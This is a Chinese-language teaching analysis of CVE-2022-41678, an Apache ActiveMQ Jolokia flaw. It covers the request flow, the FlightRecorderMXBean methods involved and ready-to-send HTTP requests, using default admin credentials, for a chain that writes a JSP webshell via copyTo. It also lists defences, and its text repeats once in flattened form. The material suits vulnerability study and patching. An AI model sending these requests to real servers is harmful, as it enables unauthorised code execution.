Apache ActiveMQ jolokia 远程代码执行漏洞分析(CVE-2022-41678)
字数 1700 2025-08-18 11:36:48

Apache ActiveMQ Jolokia 远程代码执行漏洞分析(CVE-2022-41678) 教学文档

一、漏洞概述

本漏洞存在于Apache ActiveMQ的Jolokia接口中,允许攻击者通过构造特定的JMX请求,利用JDK Flight Recorder功能实现远程代码执行。漏洞编号为CVE-2022-41678,影响范围包括特定版本的Apache ActiveMQ。

二、漏洞分析

2.1 漏洞入口点

漏洞位于/api/jolokia接口,对应的Servlet是org.jolokia.http.AgentServlet

2.2 请求处理流程

  1. 请求首先由AgentServlethandleSecurely()方法处理
  2. 调用pReqHandler.handleRequest(pReq, pResp)
  3. 创建ServletRequestHandler对象处理POST请求
  4. extractJsonRequest方法从POST请求中提取JSON数据
  5. 使用JmxRequestFactory创建JmxRequest对象
  6. 调用executeRequest处理请求
  7. 通过backendManager.handleRequest分发请求
  8. 最终由ExecHandler处理EXEC类型的请求

2.3 关键执行逻辑

ExecHandler.doHandleRequest方法的核心流程:

public Object doHandleRequest(MBeanServerConnection server, JmxExecRequest request) 
    throws InstanceNotFoundException, AttributeNotFoundException, 
           ReflectionException, MBeanException, IOException {
    
    // 1. 提取目标MBean中操作的名称、参数类型等元信息
    OperationAndParamType types = this.extractOperationTypes(server, request);
    
    // 2. 准备参数数组
    int nrParams = types.paramClasses.length;
    Object[] params = new Object[nrParams];
    List<Object> args = request.getArguments();
    
    // 3. 验证参数数量、类型是否匹配
    this.verifyArguments(request, types, nrParams, args);
    
    // 4. 参数类型转换
    for(int i = 0; i < nrParams; ++i) {
        if(types.paramOpenTypes != null && types.paramOpenTypes[i] != null) {
            // 处理复杂类型
            params[i] = this.converters.getToOpenTypeConverter()
                .convertToObject(types.paramOpenTypes[i], args.get(i));
        } else {
            // 处理基本类型
            params[i] = this.converters.getToObjectConverter()
                .prepareValue(types.paramClasses[i], args.get(i));
        }
    }
    
    // 5. 调用目标MBean方法
    return server.invoke(
        request.getObjectName(), 
        types.operationName, 
        params, 
        types.paramClasses);
}

该方法允许动态调用JMX服务器中注册的任何MBean的方法,这是漏洞利用的关键。

三、漏洞利用原理

3.1 利用FlightRecorderMXBean

漏洞利用的核心是通过jdk.management.jfr:type=FlightRecorder MBean实现RCE。补丁中新增了对该MBean的限制,证实了这一点。

3.2 关键方法分析

  1. newRecording()

    • 创建新的Recording对象并返回ID
    • 代码片段:
      public long newRecording() {
          MBeanUtils.checkControl();
          getRecorder(); // 确保通知监听器已设置
          return AccessController.doPrivileged(
              new PrivilegedAction<Recording>() {
                  @Override
                  public Recording run() {
                      return new Recording(null, 
                          new FlightRecorderPermission("accessFlightRecorder")).getId();
                  }
              });
      }
      
  2. setConfiguration(long recording, String configuration)

    • 设置Recording的配置
    • 可以构造包含WebShell的配置文件
    • 代码片段:
      public void setConfiguration(long recording, String configuration) 
          throws IllegalArgumentException {
          Objects.requireNonNull(configuration);
          MBeanUtils.checkControl();
          try {
              Configuration c = Configuration.create(new StringReader(configuration));
              getExistingRecording(recording).setSettings(c.getSettings());
          } catch (IOException | ParseException e) {
              throw new IllegalArgumentException("Could not parse configuration", e);
          }
      }
      
  3. startRecording(long id)

    • 开始记录事件
    • 代码片段:
      public void startRecording(long id) {
          MBeanUtils.checkControl();
          getExistingRecording(id).start();
      }
      
  4. stopRecording(long id)

    • 停止记录事件
    • 代码片段:
      public boolean stopRecording(long id) {
          MBeanUtils.checkControl();
          return getExistingRecording(id).stop();
      }
      
  5. copyTo(long recording, String path)

    • 将记录数据保存到指定路径
    • 关键点:未对路径进行限制,可路径穿越
    • 代码片段:
      public void copyTo(long recording, String path) throws IOException {
          Objects.requireNonNull(path);
          MBeanUtils.checkControl();
          getExistingRecording(recording).dump(Paths.get(path));
      }
      

四、完整利用流程

  1. 调用newRecording方法创建新的Recording对象,获取ID
  2. 调用setConfiguration方法,设置包含WebShell的配置文件
    • 配置文件中的键名插入WebShell代码
    • 需要将XML数据进行转义处理
  3. 调用startRecording开始记录
  4. 调用stopRecording停止记录
  5. 调用copyTo方法,将数据写入web目录下的JSP文件
  6. 访问写入的WebShell执行命令

五、漏洞复现步骤

5.1 构造请求

  1. 调用newRecording获取ID

    POST /api/jolokia/ HTTP/1.1
    Host: target:8161
    Authorization: Basic YWRtaW46YWRtaW4=
    Content-Type: application/json
    
    {
      "type": "EXEC",
      "mbean": "jdk.management.jfr:type=FlightRecorder",
      "operation": "newRecording",
      "arguments": []
    }
    
  2. 调用setConfiguration

    • 构造包含WebShell的配置文件
    • 需要转义XML中的特殊字符
  3. 开始录制

    POST /api/jolokia/ HTTP/1.1
    Host: target:8161
    Authorization: Basic YWRtaW46YWRtaW4=
    Content-Type: application/json
    
    {
      "type": "EXEC",
      "mbean": "jdk.management.jfr:type=FlightRecorder",
      "operation": "startRecording",
      "arguments": [1]  // 使用上一步获取的ID
    }
    
  4. 停止录制

    POST /api/jolokia/ HTTP/1.1
    Host: target:8161
    Authorization: Basic YWRtaW46YWRtaW4=
    Content-Type: application/json
    
    {
      "type": "EXEC",
      "mbean": "jdk.management.jfr:type=FlightRecorder",
      "operation": "stopRecording",
      "arguments": [1]
    }
    
  5. 写入WebShell

    POST /api/jolokia/ HTTP/1.1
    Host: target:8161
    Authorization: Basic YWRtaW46YWRtaW4=
    Content-Type: application/json
    
    {
      "type": "EXEC",
      "mbean": "jdk.management.jfr:type=FlightRecorder",
      "operation": "copyTo",
      "arguments": [1, "/path/to/webapps/admin/shell.jsp"]
    }
    

5.2 访问WebShell

访问写入的JSP文件执行命令:

http://target:8161/admin/shell.jsp

六、防御措施

  1. 升级到修复版本
  2. 修改jolokia-access.xml文件,限制对敏感MBean的访问
  3. 禁用不必要的JMX接口
  4. 加强认证机制

七、总结

该漏洞利用ActiveMQ中Jolokia接口对JMX请求的处理机制,结合JDK Flight Recorder的功能,通过构造特定的请求序列实现远程代码执行。关键在于:

  1. Jolokia接口允许动态调用任意MBean方法
  2. FlightRecorderMXBean的copyTo方法未对路径进行限制
  3. 可以通过配置文件注入恶意代码

理解这些关键点有助于更好地防御类似漏洞。

Apache ActiveMQ Jolokia 远程代码执行漏洞分析(CVE-2022-41678) 教学文档 一、漏洞概述 本漏洞存在于Apache ActiveMQ的Jolokia接口中,允许攻击者通过构造特定的JMX请求,利用JDK Flight Recorder功能实现远程代码执行。漏洞编号为CVE-2022-41678,影响范围包括特定版本的Apache ActiveMQ。 二、漏洞分析 2.1 漏洞入口点 漏洞位于 /api/jolokia 接口,对应的Servlet是 org.jolokia.http.AgentServlet 。 2.2 请求处理流程 请求首先由 AgentServlet 的 handleSecurely() 方法处理 调用 pReqHandler.handleRequest(pReq, pResp) 创建 ServletRequestHandler 对象处理POST请求 extractJsonRequest 方法从POST请求中提取JSON数据 使用 JmxRequestFactory 创建 JmxRequest 对象 调用 executeRequest 处理请求 通过 backendManager.handleRequest 分发请求 最终由 ExecHandler 处理EXEC类型的请求 2.3 关键执行逻辑 ExecHandler.doHandleRequest 方法的核心流程: 该方法允许动态调用JMX服务器中注册的任何MBean的方法,这是漏洞利用的关键。 三、漏洞利用原理 3.1 利用FlightRecorderMXBean 漏洞利用的核心是通过 jdk.management.jfr:type=FlightRecorder MBean实现RCE。补丁中新增了对该MBean的限制,证实了这一点。 3.2 关键方法分析 newRecording() 创建新的Recording对象并返回ID 代码片段: setConfiguration(long recording, String configuration) 设置Recording的配置 可以构造包含WebShell的配置文件 代码片段: startRecording(long id) 开始记录事件 代码片段: stopRecording(long id) 停止记录事件 代码片段: copyTo(long recording, String path) 将记录数据保存到指定路径 关键点:未对路径进行限制,可路径穿越 代码片段: 四、完整利用流程 调用 newRecording 方法创建新的Recording对象,获取ID 调用 setConfiguration 方法,设置包含WebShell的配置文件 配置文件中的键名插入WebShell代码 需要将XML数据进行转义处理 调用 startRecording 开始记录 调用 stopRecording 停止记录 调用 copyTo 方法,将数据写入web目录下的JSP文件 访问写入的WebShell执行命令 五、漏洞复现步骤 5.1 构造请求 调用newRecording获取ID 调用setConfiguration 构造包含WebShell的配置文件 需要转义XML中的特殊字符 开始录制 停止录制 写入WebShell 5.2 访问WebShell 访问写入的JSP文件执行命令: 六、防御措施 升级到修复版本 修改jolokia-access.xml文件,限制对敏感MBean的访问 禁用不必要的JMX接口 加强认证机制 七、总结 该漏洞利用ActiveMQ中Jolokia接口对JMX请求的处理机制,结合JDK Flight Recorder的功能,通过构造特定的请求序列实现远程代码执行。关键在于: Jolokia接口允许动态调用任意MBean方法 FlightRecorderMXBean的copyTo方法未对路径进行限制 可以通过配置文件注入恶意代码 理解这些关键点有助于更好地防御类似漏洞。